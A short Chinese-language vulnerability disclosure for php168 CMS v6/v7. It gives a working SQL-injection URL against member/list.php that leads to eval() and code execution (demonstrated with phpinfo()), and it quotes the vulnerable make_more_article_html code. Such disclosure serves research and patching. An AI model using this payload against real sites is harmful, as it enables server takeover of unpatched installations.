php168 v6/v7鸡肋Getshell安全问题
刚搜了一下貌似和以前一个漏洞是一个问题。有点鸡肋,需要条件:
1.网站配置为:文章生成真静态
2.允许注册会员
给出v6的测试代码,提交后执行phpinfo(),v7原理一样,只是数据库字段数不一样。
member/list.php?step=2&type=delete&aiddb[]=-1)%20union%20select%201,2,3,4,5,6,7,8,9,10,1,2,3,4,15,6,7,8,9,10,1,2,3,4,25,6,7,8,9,10,1,2,3,4,35,6,7,8,9,10,1,2,3,4,45,6,7,8,9,10,1,2,3,4,0x7b247b706870696e666f28297d7d,6,7%23
0x01 漏洞在make_more_article_html这个函数:
function make_more_article_html($comebackurl='/',$type='',$aiddb=''){
global $db,$pre,$webdb,$webdb,$showhtml_type;
if($webdb[newsmakehtml]!=1||$aiddb=='') // $webdb[newsmakehtml] 真静态
{ return ;}
...
$query = $db->query("select a.*,b.bencandy_html,b.list_html,d.aid from {$pre}article_db d left join {$pre}article a on d.aid=a.aid left join {$pre}sort b on a.fid=b.fid where d.aid in ($string)");
while($rs = $db->fetch_array($query)){
...
$filename_b=$rs[bencandy_html];
...
eval("\$showurl=\"$filename_b\";");
...
0x02 在 \member\list.php中调用了该漏洞函数:
if($step==2){
...
if($type=='delete'){
make_more_article_html("$fromurl","del_0",$aiddb);
by: k4shifz[w.s.t]